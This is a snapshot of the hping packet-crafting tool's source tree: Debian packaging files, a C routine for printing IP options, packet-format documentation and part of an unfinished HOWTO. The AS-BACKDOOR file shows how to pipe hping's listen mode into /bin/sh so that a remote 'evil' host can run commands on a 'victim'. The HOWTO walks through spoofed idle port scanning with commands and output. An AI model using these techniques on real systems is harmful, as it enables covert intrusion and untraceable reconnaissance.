-- Domenico Andreoli <cavok@debian.org> Wed, 28 Feb 2001 15:58:24 +0100
hping2 (2.beta54-6) unstable; urgency=low
* Made some adjustments in postinst and in prerm to cope with
dpkg-statoverride.
* Removed the Build-Dependency on libtool since this package doesn't
use it in the build process. I really don't remember why I put it there.
-- Domenico Andreoli <cavok@libero.it> Mon, 12 Feb 2001 16:00:13 +0100
hping2 (2.beta54-5) unstable; urgency=low
* Reordered documentation files.
* Added hping2's author warning about hping2 being installed as
suid to debconf explanation. Question asked by debconf should be
more clear and hopefully authoritative.
-- Domenico Andreoli <cavok@libero.it> Wed, 6 Sep 2000 15:33:06 +0200
hping2 (2.beta54-4) unstable; urgency=low
* Fixed wrong Build-Depends, added debconf to Depends.
-- Domenico Andreoli <cavok@libero.it> Mon, 4 Sep 2000 00:01:38 +0200
hping2 (2.beta54-3) unstable; urgency=low
* Fixed overwriting of /usr/share/man/man3/pcap.3.gz (Closes: #70490).
Now pcap.3.gz is not installed at all since the interested user would
be better to install package libpcap-dev.
-- Domenico Andreoli <cavok@libero.it> Sat, 2 Sep 2000 04:46:18 +0200
hping2 (2.beta54-2) unstable; urgency=low
* Now, thanks to debconf, the administrator can choose whether to
install hping2 as setuid or not.
* I hope I found a more meaningful short description for
this package. :)
-- Domenico Andreoli <cavok@libero.it> Fri, 1 Sep 2000 19:25:14 +0200
hping2 (2.beta54-1) unstable; urgency=low
* Initial Release.
-- Domenico Andreoli <cavok@libero.it> Sat, 22 Jul 2000 14:09:34 +0200

1
debian/compat vendored Normal file
View File

@ -0,0 +1 @@
5

21
debian/control vendored Normal file
View File

@ -0,0 +1,21 @@
Source: hping6
Section: net
Priority: extra
Maintainer: Romain Francoise <rfrancoise@debian.org>
Standards-Version: 3.6.2.1
Build-Depends: debhelper (>> 5.0.0)
Package: hping6
Architecture: any
Depends: ${shlibs:Depends}
Description: Active Network Smashing Tool
hping6 is a network tool able to send custom ICMP/UDP/TCP packets and
to display target replies like ping does with ICMP replies. It handles
fragmentation and arbitrary packet body and size, and can be used to
transfer files under supported protocols. Using hping6, you can test
firewall rules, perform (spoofed) port scanning, test network
performance using different protocols, do path MTU discovery, perform
traceroute-like actions under different protocols, fingerprint remote
operating systems, audit TCP/IP stacks, etc.
.
Homepage: http://www.hping.org/

24
debian/copyright vendored Normal file
View File

@ -0,0 +1,24 @@
This package was debianized by Domenico Andreoli <cavok@debian.org> on
Sat, 22 Jul 2000 02:17:49 +0200.
It is now maintained by Romain Francoise <rfrancoise@debian.org>
It was downloaded from http://www.kyuzz.org/antirez/hping6.html
Upstream Author: Salvatore Sanfilippo <antirez@invece.org>
Copyright:
hping6 is free software. It comes under GPL version 2,
except for the following:
display_ipopt.c : from ping, BSD style license
libpcap library : BSD style license
for more information see the upper part of this files.
WARNING: hping6 is covered *ONLY* by GPL version 2, and *NOT* any others.
hping6 is Copyright (C) 1998, 1999 by Salvatore Sanfilippo.
On Debian GNU/Linux systems, the complete text of the GNU Lesser General
Public License can be found in `/usr/share/common-licenses'.

5
debian/hping2.dirs vendored Normal file
View File

@ -0,0 +1,5 @@
usr/sbin
usr/share
usr/share/man
usr/share/man/man8
usr/share/man/fr/man8

8
debian/hping2.docs vendored Normal file
View File

@ -0,0 +1,8 @@
README
KNOWN-BUGS
TODO
docs/AS-BACKDOOR
docs/HPING6-HOWTO.txt
docs/HPING6-IS-OPEN
docs/MORE-FUN-WITH-IPID
docs/SPOOFED_SCAN.txt

1
debian/hping2.files vendored Normal file
View File

@ -0,0 +1 @@
usr/sbin/hping6

3
debian/hping2.links vendored Normal file
View File

@ -0,0 +1,3 @@
/usr/sbin/hping2 /usr/sbin/hping
/usr/share/man/man8/hping2.8 /usr/share/man/man8/hping.8
/usr/share/man/fr/man8/hping2.8 /usr/share/man/fr/man8/hping.8

1
debian/hping2.manpages vendored Normal file
View File

@ -0,0 +1 @@
docs/hping2.8

65
debian/rules vendored Normal file
View File

@ -0,0 +1,65 @@
#!/usr/bin/make -f
# Sample debian/rules that uses debhelper.
# GNU copyright 1997 to 1999 by Joey Hess.
# Uncomment this to turn on verbose mode.
#export DH_VERBOSE=1
configure: configure-stamp
configure-stamp:
dh_testdir
./configure --prefix=/usr --mandir=\$${prefix}/share/man --infodir=\$${prefix}/share/info
touch configure-stamp
build: configure-stamp build-stamp
build-stamp:
dh_testdir
$(MAKE)
touch build-stamp
clean:
dh_testdir
dh_testroot
rm -f build-stamp configure-stamp
# Add here commands to clean up after the build process.
-$(MAKE) distclean
dh_clean
install: build
dh_testdir
dh_testroot
dh_clean -k
dh_installdirs
# Add here commands to install the package into debian/tmp.
$(MAKE) install prefix=`pwd`/debian/tmp/usr
gzip -9 -c `pwd`/docs/french/hping2-fr.8 > `pwd`/debian/hping2/usr/share/man/fr/man8/hping2.8.gz
dh_movefiles
# Build architecture-independent files here.
binary-indep: build install
# We have nothing to do by default.
# Build architecture-dependent files here.
binary-arch: build install
dh_testdir
dh_testroot
dh_installdebconf
dh_installdocs
dh_installman
dh_installchangelogs CHANGES
dh_link
dh_strip
dh_compress
dh_fixperms
dh_installdeb
dh_shlibdeps
dh_gencontrol
dh_md5sums
dh_builddeb
binary: binary-indep binary-arch
.PHONY: build clean binary-indep binary-arch binary install

136
display_ipopt.c Normal file
View File

@ -0,0 +1,136 @@
/*
* Copyright (c) 1989 The Regents of the University of California.
* All rights reserved.
*
* This code is derived from software contributed to Berkeley by
* Mike Muuss.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "hping2.h"
#include "globals.h"
/* ripped from ping */
void display_ipopt(char* buf)
{
int i,j;
unsigned long l;
static int old_rrlen;
static char old_rr[MAX_IPOPTLEN];
unsigned char* cp;
int hlen;
struct myiphdr *ip;
struct in_addr in;
ip = (struct myiphdr *)buf;
hlen = ip->ihl * 4;
cp = (u_char *)buf + sizeof(struct myiphdr);
for (; hlen > (int)sizeof(struct myiphdr); --hlen, ++cp)
switch (*cp) {
case IPOPT_EOL:
hlen = 0;
break;
case IPOPT_LSRR:
(void)printf("LSRR: ");
hlen -= 2;
j = *++cp;
++cp;
if (j > IPOPT_MINOFF)
for (;;) {
l = *++cp;
l = (l<<8) + *++cp;
l = (l<<8) + *++cp;
l = (l<<8) + *++cp;
in.s_addr=htonl(l);
printf("\t%s",inet_ntoa(in));
hlen -= 4;
j -= 4;
if (j <= IPOPT_MINOFF)
break;
(void)putchar('\n');
}
break;
case IPOPT_RR:
j = *++cp; /* get length */
i = *++cp; /* and pointer */
hlen -= 2;
if (i > j)
i = j;
i -= IPOPT_MINOFF;
if (i <= 0)
continue;
if (i == old_rrlen
&& cp == (u_char *)buf + sizeof(struct myiphdr) + 2
&& !memcmp((char *)cp, old_rr, i)) {
(void)printf("\t(same route)\n");
i = ((i + 3) / 4) * 4;
hlen -= i;
cp += i;
break;
}
old_rrlen = i;
memcpy(old_rr, cp, i);
(void)printf("RR: ");
for (;;) {
l = *++cp;
l = (l<<8) + *++cp;
l = (l<<8) + *++cp;
l = (l<<8) + *++cp;
in.s_addr=htonl(l);
printf("\t%s",inet_ntoa(in));
hlen -= 4;
i -= 4;
if (i <= 0)
break;
(void)putchar('\n');
}
putchar('\n');
break;
case IPOPT_NOP:
(void)printf("NOP\n");
break;
default:
(void)printf("unknown option %x\n", *cp);
break;
}
}

121
docs/APD.txt Normal file
View File

@ -0,0 +1,121 @@
ARS Packet Description system
This document describes the APD format. APD is a way to describe TCP/IP
packets, and it is used in high level functions of the ARS library.
The general format is the following:
layer_type{field_1=value_1,field_2=value_2,...,field_n=value_n}
more layers can be combined using the "+" simbol. Example:
ip{dst=192.168.1.2}+udp{sport=53,dport=53}+data{file=./dns.packet}
You don't need to specify fields that ARS can guess. For example
if you don't specify checksums they will be correctly generated
in the process of packet compilation.
AVAILABLE LAYERS
~~~~~~~~~~~~~~~~
A layer type is one of the following:
ip IP header
ipopt.eol IP option EOL
ipopt.nop IP option NOP
ipopt.sec IP option Security
ipopt.sid IP option Stream ID
ipopt.lsrr IP option Loose Source Routing
ipopt.ssrr IP option Strict Source Routing
ipopt.rr IP option Record Route
ipopt.ts IP option Timestamp
udp UDP header
tcp TCP header
tcpopt.end TCP option END
tcpopt.nop TCP option NOP
tcpopt.mss TCP option Max Segment Size
tcpopt.wscale TCP option Window Scale
tcpopt.sackperm TCP option Selective ACK permitted
tcpopt.sack TCP option Selevtive ACK
tcpopt.echo TCP option Echo Request
tcpopt.echoreply TCP option Echo Reply
tcpopt.ts TCP option Timestamp
icmp ICMP header
data Generic Data
Different fields are defined for different layer types:
IP FIELDS: DESCRIPTION: POSSIBLE VALUE:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
saddr Source address 192.168.1.2, or www.yahoo.com
daddr Destination address 192.168.1.2, or www.yahoo.com
ihl IP header len numerical value
ver IP version numerical value
tos Type of Service numerical value
totlen IP tot len numerical value
id IP packet ID numerical value
fragoff IP fragment offset numerical vaule
mf More Fragment 0 or 1
df Dont Fragment 0 or 1
rf Reserved Frag. bit 0 or 1
ttl Time to Live numerical value
proto ip protocol field numerical value
cksum ip checksum numerical value
UDP FIELDS: DESCRIPTION: POSSIBLE VALUE:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
sport Source port numerical value
dport Destination port numerical value
len UDP len field numerical value
cksum UDP checksum numerical value
TCP FIELDS: DESCRIPTION: POSSIBLE VALUE:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
sport Source port numerical value
dport Destination port numerical value
seq TCP sequence number numerical value
ack TCP acknowledge number numerical value
x2 TCP reserved bits numerical value
off TCP header size numerical value
flags TCP flags FSRPAUXY (see the example)
win TCP window numerical value
cksum TCP checksum numerical value
urp TCP urgent pointer numerical value
ICMP FIELDS: DESCRIPTION: POSSIBLE VALUE:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
type ICMP type numerical value
code ICMP code numerical value
cksum ICMP cksum numerical value
id ICMP echo ID numerical value
seq ICMP echo sequence nr numerical value
gw ICMP gateway 192.168.1.2 or www.yahoo.com
DATA FIELDS: DESCRIPTION: POSSIBLE VALUE:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
file Data file /etc/passwd
str A string hello world! (no escaping available)
Other layer types fields aren't still implemented, anyway
most of this contains sane defaults, (like IP record route option
and so on).
You can specify numerical values as hex, octal and decimal numbers.
Decimail: 10
Hex: 0xA
Octal: 012
Examples
~~~~~~~~
/* Just an ICMP echo request */
ip{saddr=1.2.3.4,daddr=www.yahoo.com}+icmp{type=8,code=0}\
+data{str=hello world}
/* An ICMP destination unreachable with the quoted UDP packet */
ip{saddr=1.2.3.4,daddr=5.6.7.8}+icmp{type=3,code=3}\
+ip{saddr=www.yahoo.com,daddr=1.2.3.4}+udp{sport=53,dport=53}\
/* A TCP packet with the SYN flag set */
ip{saddr=1.2.3.4,daddr=5.6.7.8}+tcp{flags=S,dport=80,sport=10}

37
docs/AS-BACKDOOR Normal file
View File

@ -0,0 +1,37 @@
hping can be used as a backdoor. Just try the -9 (--listen) option
and put in pipe with /bin/sh:
Put hping in listen mode in the victim host.
victim# hping -I eth0 -9 mysign | /bin/sh
Every packet that contain "mysign" will be processed by hping,
all the bytes that follows "mysign" in the packet will be dumped
to the standard output, so for example I'll able to exec commands
using all types of protocols. Just for example I can use the smtpd
to exec 'ls' in the victim.
evil$ telnet victim 25
Trying 192.168.1.1...
Connected to nano (192.168.1.1).
Escape character is '^]'.
220 nano.marmoc.net ESMTP Sendmail
mysignls;
on the victim you will see:
victim# hping -I eth0 -9 mysign | /bin/sh
hping2 listen mode
bin cdrom etc home local-home mnt root tmp var
boot dev export lib lost+found proc sbin usr
: command not found
As you can see I used 'ls;' since otherwise the shell will receive
just ls^M. The ";" force the command execution (at least with bash and zsh,
check your shell for more information).
This works with all kind of valid not-filtered IP packets, the higher
level protocl does not matter.
antirez <antirez@invece.org>

440
docs/HPING2-HOWTO.txt Normal file
View File

@ -0,0 +1,440 @@
N.B.: this HOWTO is not completed and in some points very silly. I leave this
here only because maybe it's better that nothing.
HPING2 HOWTO
Changes Log
-----------
Aug 7 1999 vi HPING2-HOWTO.txt
Aug 8 1999 __0000, __0001, __0002, __0003
Aug 10 1999 __0004
Index
-----
[search __XXXX in order to jump to point you want]
__0000: Copyright notice
__0001: What is hping?
__0002: What i need to know about TCP/IP in order to use hping?
__0003: First step with hping
__0004: IP id and how to scan TCP ports using spoofing.
__0005: How to test firewall rules. (TODO)
__0006: How to trasfer files accross firewall. (TODO)
__000A: hping usage example (TODO)
__0000: Copyright notice, License, and all that stuff
Copyright (C) Salvatore Sanfilippo, 1999.
Permission is granted to make and distribute copies of this manual
provided the copyright notice and this permission notice are preserved
on all copies.
Permission is granted to copy and distribute modified versions of this
manual under the conditions for verbatim copying, provided that the
derived work is distributed under the terms of a permission notice
identical to this one. Translations fall under the catagory of
``modified versions.''
Warranty: None.
Recommendations: Commercial redistribution is allowed and encouraged;
however, it is strongly recommended that the redistributor contact the
author before the redistribution, in the interest of keeping things
up-to-date (you could send me a copy of the thing you're making while
you're at it). Translators are also advised to contact the author
before translating. The printed version looks nicer. Recycle.
__0001: What is hping?
Hping is a software to do TCP/IP stack auditing, to uncover firewall
policy, to scan TCP port in a lot of different modes, to transfer
files accross a firewall and many other stuff. Using hping you are
able to do even a lot of not security-regarding stuff. For example you
can test networks performance, check if a host is up, check if TOS
is handled et cetera.
__0002: What i need to know about TCP/IP in order to use hping?
If you know TCP/IP you will find hping very usefull, otherwise
you can use hping only to do well known tests. See __000A for
some example.
__0003: First step with hping
The simplest usage of hping is the following:
#hping host
This command sends a TCP null-flags packet to port 0 of target
host every second and show the host replies. For example:
# hping www.debian.org
ppp0 default routing interface selected (according to /proc)
HPING www.debian.org (ppp0 209.81.8.242): NO FLAGS are set, 40 headers + 0 data bytes
40 bytes from 209.81.8.242: flags=RA seq=0 ttl=243 id=63667 win=0 time=369.4 ms
40 bytes from 209.81.8.242: flags=RA seq=1 ttl=243 id=63719 win=0 time=420.0 ms
40 bytes from 209.81.8.242: flags=RA seq=2 ttl=243 id=63763 win=0 time=350.0 ms
[Ctrl+C]
--- www.debian.org hping statistic ---
3 packets tramitted, 3 packets received, 0% packet loss
As you can see host replies with a TCP packet with RST and ACK flags
set. So you are able to perform a 'TCP ping', usefull when ICMPs are
filtered. By default port 0 are used because it's very strange that
is in LISTEN state. If we send a TCP null-flags to a port in
LISTEN state a lot of TCP/IP stack will not send any reply. So we are
able to know if a port is in LISTEN state. For example:
# hping www.debian.org -p 80
ppp0 default routing interface selected (according to /proc)
HPING www.debian.org (ppp0 209.81.8.242): NO FLAGS are set, 40 headers + 0 data bytes
[Ctrl+C]
--- www.debian.org hping statistic ---
5 packets trasmitted, 0 packets received, 100% packet loss
Since port 80 of www.debian.org is in LISTEN mode we got
no response.
But What's happen if we try to hping a firewalled port? This depends
on firewall policy/implementation. Usually we get an ICMP or
nothing. For example:
# hping www.yahoo.com -p 79
ppp0 default routing interface selected (according to /proc)
HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 0 data bytes
ICMP Packet filtered from 206.132.254.41 (pos1-0-2488M.hr8.SNV.globalcenter.net)
--- www.yahoo.com hping statistic ---
14 packets tramitted, 0 packets received, 100% packet loss
yahoo firewall doesn't allow connection to port 79, so reply with
an ICMP Packet filtered (ICMP unreachable code 13). However
there are a lot of firewall that simply drop the packet. For example:
# hping www.microsoft.com -p 79
ppp0 default routing interface selected (according to /proc)
HPING www.microsoft.com (ppp0 207.46.130.150): NO FLAGS are set, 40 headers + 0 data bytes
--- www.microsoft.com hping statistic ---
4 packets tramitted, 0 packets received, 100% packet loss
No reply from microsoft. Is the port firewalled or in LISTEN mode?
To uncover this is very simply. Just we try to set ACK flag instead
to send a TCP null-flag packet. If the host respond maybe this port
is in LISTEN mode (but it's possible that there is a rules that
deny null-flag TCP packet but allow ACK).
# hping www.microsoft.com -A -p 79
ppp0 default routing interface selected (according to /proc)
HPING www.microsoft.com (ppp0 207.46.130.149): A set, 40 headers + 0 data bytes
--- www.microsoft.com hping statistic ---
3 packets tramitted, 0 packets received, 100% packet loss
No response again, So this port seems to be filtered. Anyway
it's possible that microsoft is using an 'intelligent' firewall
that know that in order to connect first I must send a SYN.
# hping www.microsoft.com -S -p 79
ppp0 default routing interface selected (according to /proc)
HPING www.microsoft.com (ppp0 207.46.130.149): S set, 40 headers + 0 data bytes
--- www.microsoft.com hping statistic ---
3 packets tramitted, 0 packets received, 100% packet loss
Ok.. seems that port 79 of microsoft is really filtered.
Just for clearness we send some ACK to port 80 of www.debian.org:
# hping www.debian.org -p 80 -A
ppp0 default routing interface selected (according to /proc)
HPING www.debian.org (ppp0 209.81.8.242): A set, 40 headers + 0 data bytes
40 bytes from 209.81.8.242: flags=R seq=0 ttl=243 id=5590 win=0 time=379.5 ms
40 bytes from 209.81.8.242: flags=R seq=1 ttl=243 id=5638 win=0 time=370.0 ms
40 bytes from 209.81.8.242: flags=R seq=2 ttl=243 id=5667 win=0 time=360.0 ms
--- www.debian.org hping statistic ---
3 packets tramitted, 3 packets received, 0% packet loss
We can see replies even if port 80 is in LISTEN mode because
a port in LISTEN mode may not replay only to NULL, FIN, Xmas, Ymas
flags TCP packet. ACK and RST are two important TCP flags that
allow to do ACL tests and to guess ip->id without to produce any log
(usually).
__0004: IP id and how to scan TCP ports using spoofing.
Every IP packet is identified by a 16 bit id. Thanks to this id
IP stacks are able to handle fragmentation. A lot of OSs handle
ip->id travially: just increment by 1 this id for each packet sent.
Using this id you are able at least to estimate hosts traffic and to
scan with spoofed packets. OpenBSD >= 2.5 and many others implement
a random not repetitive id so you aren't able to joke with ip->id.
Win* ip->id has different byte ordering, so you must specify
--winid or -W option if you are using hping2 against Win*.
N.B.: You are able to scan spoofed hosts with safe/random ip->id
because in order to spoof your packets you need a third
part host with incremental id rule but you don't need that
target of your scanning has an incremental id.
How to estimate host traffic using ip->id? It's really simple:
# hping www.yahoo.com -p 80 -A
ppp0 default routing interface selected (according to /proc)
HPING www.yahoo.com (ppp0 204.71.200.74): A set, 40 headers + 0 data bytes
40 bytes from 204.71.200.74: flags=R seq=0 ttl=53 id=29607 win=0 rtt=329.4 ms
40 bytes from 204.71.200.74: flags=R seq=1 ttl=53 id=31549 win=0 rtt=390.0 ms
40 bytes from 204.71.200.74: flags=R seq=2 ttl=53 id=33432 win=0 rtt=390.0 ms
40 bytes from 204.71.200.74: flags=R seq=3 ttl=53 id=35368 win=0 rtt=380.0 ms
40 bytes from 204.71.200.74: flags=R seq=4 ttl=53 id=37335 win=0 rtt=390.0 ms
40 bytes from 204.71.200.74: flags=R seq=5 ttl=53 id=39157 win=0 rtt=380.0 ms
40 bytes from 204.71.200.74: flags=R seq=6 ttl=53 id=41118 win=0 rtt=370.0 ms
40 bytes from 204.71.200.74: flags=R seq=7 ttl=53 id=43330 win=0 rtt=390.0 ms
--- www.yahoo.com hping statistic ---
8 packets tramitted, 8 packets received, 0% packet loss
round-trip min/avg/max = 329.4/377.4/390.0 ms
As you can se id field increase. Packet with sequence 0 has id=29607,
sequence 1 has id=31549, so www.yahoo.com host sent 31549-29607 = 1942
packets in circa one second. Using -r|--relid option hping output
id field as difference between last and current received packet id.
# hping www.yahoo.com -P 80 -A -r
ppp0 default routing interface selected (according to /proc)
HPING www.yahoo.com (ppp0 204.71.200.68): A set, 40 headers + 0 data bytes
40 bytes from 204.71.200.68: flags=R seq=0 ttl=53 id=65179 win=0 rtt=327.1 ms
40 bytes from 204.71.200.68: flags=R seq=1 ttl=53 id=+1936 win=0 rtt=360.0 ms
40 bytes from 204.71.200.68: flags=R seq=2 ttl=53 id=+1880 win=0 rtt=340.0 ms
40 bytes from 204.71.200.68: flags=R seq=3 ttl=53 id=+1993 win=0 rtt=330.0 ms
40 bytes from 204.71.200.68: flags=R seq=4 ttl=53 id=+1871 win=0 rtt=350.0 ms
40 bytes from 204.71.200.68: flags=R seq=5 ttl=53 id=+1932 win=0 rtt=340.0 ms
40 bytes from 204.71.200.68: flags=R seq=6 ttl=53 id=+1776 win=0 rtt=330.0 ms
40 bytes from 204.71.200.68: flags=R seq=7 ttl=53 id=+1749 win=0 rtt=320.0 ms
40 bytes from 204.71.200.68: flags=R seq=8 ttl=53 id=+1888 win=0 rtt=340.0 ms
40 bytes from 204.71.200.68: flags=R seq=9 ttl=53 id=+1907 win=0 rtt=330.0 ms
--- www.yahoo.com hping statistic ---
10 packets tramitted, 10 packets received, 0% packet loss
round-trip min/avg/max = 320.0/336.7/360.0 ms
Obviously checking the id every 1/2 second instead of 1 second, increment
will be half.
# hping www.yahoo.com -P 80 -A -r -i u 500000
ppp0 default routing interface selected (according to /proc)
HPING www.yahoo.com (ppp0 204.71.200.68): A set, 40 headers + 0 data bytes
40 bytes from 204.71.200.68: flags=R seq=0 ttl=53 id=35713 win=0 rtt=327.0 ms
40 bytes from 204.71.200.68: flags=R seq=1 ttl=53 id=+806 win=0 rtt=310.0 ms
40 bytes from 204.71.200.68: flags=R seq=2 ttl=53 id=+992 win=0 rtt=320.0 ms
40 bytes from 204.71.200.68: flags=R seq=3 ttl=53 id=+936 win=0 rtt=330.0 ms
40 bytes from 204.71.200.68: flags=R seq=4 ttl=53 id=+987 win=0 rtt=310.0 ms
40 bytes from 204.71.200.68: flags=R seq=5 ttl=53 id=+952 win=0 rtt=320.0 ms
40 bytes from 204.71.200.68: flags=R seq=6 ttl=53 id=+918 win=0 rtt=330.0 ms
40 bytes from 204.71.200.68: flags=R seq=7 ttl=53 id=+809 win=0 rtt=320.0 ms
40 bytes from 204.71.200.68: flags=R seq=8 ttl=53 id=+881 win=0 rtt=320.0 ms
--- www.yahoo.com hping statistic ---
9 packets tramitted, 9 packets received, 0% packet loss
round-trip min/avg/max = 310.0/320.8/330.0 ms
N.B. Warning, using ip->id you are able only to guess *the number
of packets sent/time*. You can't always compare different hosts.
ip->id refers to all host interfaces and for example if an host
use NAT or redirect TCP connections to another host (for example
a firewall used to hide a web server) ip->id increment may
result fakely increased.
hpinging windows box without using --winid option you will see as
increments are 256 multiple because different id byteordering. This
can be really usefull for OS fingerprinting:
#hping win95 -r
HPING win95 (eth0 192.168.4.41): NO FLAGS are set, 40 headers + 0 data bytes
46 bytes from 192.168.4.41: flags=RA seq=0 ttl=128 id=47371 win=0 rtt=0.5 ms
46 bytes from 192.168.4.41: flags=RA seq=1 ttl=128 id=+256 win=0 rtt=0.5 ms
46 bytes from 192.168.4.41: flags=RA seq=2 ttl=128 id=+256 win=0 rtt=0.6 ms
46 bytes from 192.168.4.41: flags=RA seq=3 ttl=128 id=+256 win=0 rtt=0.5 ms
--- win95 hping statistic ---
4 packets tramitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.5/0.5/0.6 ms
Windows systems are "marked", so in order to discovery if an host is
a Windows host you need to send just some packet.
How to perform spoofed SYN scan using incremental id? The following
is the original message to bugtraq about spoofed/indirect/idle scan method,
bottom i'll try to explain details and how this is possible even with UDP
with some restriction.
---- bugtraq posting about spoofed scanning ----
Hi,
I have uncovered a new tcp port scan method.
Instead all others it allows you to scan using spoofed
packets, so scanned hosts can't see your real address.
In order to perform this i use three well known tcp/ip
implementation peculiarities of most OS:
(1) * hosts reply SYN|ACK to SYN if tcp target port is open,
reply RST|ACK if tcp target port is closed.
(2) * You can know the number of packets that hosts are sending
using id ip header field. See my previous posting 'about the ip
header' in this ml.
(3) * hosts reply RST to SYN|ACK, reply nothing to RST.
The Players:
host A - evil host, the attacker.
host B - silent host.
host C - victim host.
A is your host.
B is a particular host: It must not send any packets while
you are scanning C. There are a lot of 'zero traffic' hosts
in internet, especially in the night :)
C is the victim, it must be vulnerable to SYN scan.
I've called this scan method 'dumb host scan' in honour of host
B characteristics.
How it works:
Host A monitors number of outgoing packets from B using id iphdr.
You can do this simply using hping:
#hping B -r
HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms
-cut-
..
.
As you can see, id increases are always 1. So this host have the
characteristics that host B should to own.
Now host A sends SYN to port X of C spoofing from B.
(using hping => 0.67 is very easy, http://www.kyuzz.org/antirez)
if port X of C is open, host C will send SYN|ACK to B (yes,
host C don't know that the real sender is A). In this
case host B replies to SYN|ACK with a RST.
If we send to host C a few of SYN it will reply to B with a few
of SYN|ACK, so B will reply to C a few of RST... so
we'll see that host B is sending packets!
.
..
-cut-
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms
-cut-
..
.
The port is open!
Instead, if port X of C is closed sending to C a few
of SYN spoofed from B, it will reply with RST to B, and
B will not reply (see 3). So we'll see that host B is not sending
any packet:
.
..
-cut-
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms
-cut-
..
.
The port is closed.
All this can appear complicated to perform, but using two sessions
of hping on Linux virtual consoles or under X makes it more simple.
First session listen host B: hping B -r
Second session send spoofed SYN: hping C -a B -S
Sorry if my english is not so clear.
However this posting is not adequate to describe exaustively
this scan method, so i'll write a paper on this topic, specially
about how to implement this in a port scanner (i.e. nmap), and
about players characteristics and OS used.
happy new year,
antirez
---- EOF ----
As you can see spoofed scanning is travial to perform, especially
unsing hping2 you are able to specify micro seconds interval (-i uX)
so you don't need that B host is a totally idle host. You may read
id increment once every second sending 10 SYN every second. If you
send an adequate SYNnumber/second expected id increment is so big
that you are able to see if port is open or closed even if B host
is sending other packets. Example:
# hping awake.host.org -p 80 -A -r
ppp0 default routing interface selected (according to /proc)
HPING server.alicom.com (ppp0 111.222.333.44): A set, 40 headers + 0 data bytes
40 bytes from 111.222.333.44: flags=R seq=0 ttl=249 id=47323 win=0 rtt=239.7 ms
40 bytes from 111.222.333.44: flags=R seq=1 ttl=249 id=+6 win=0 rtt=630.0 ms
40 bytes from 111.222.333.44: flags=R seq=2 ttl=249 id=+6 win=0 rtt=280.0 ms
40 bytes from 111.222.333.44: flags=R seq=3 ttl=249 id=+8 win=0 rtt=340.0 ms
40 bytes from 111.222.333.44: flags=R seq=4 ttl=249 id=+5 win=0 rtt=440.0 ms
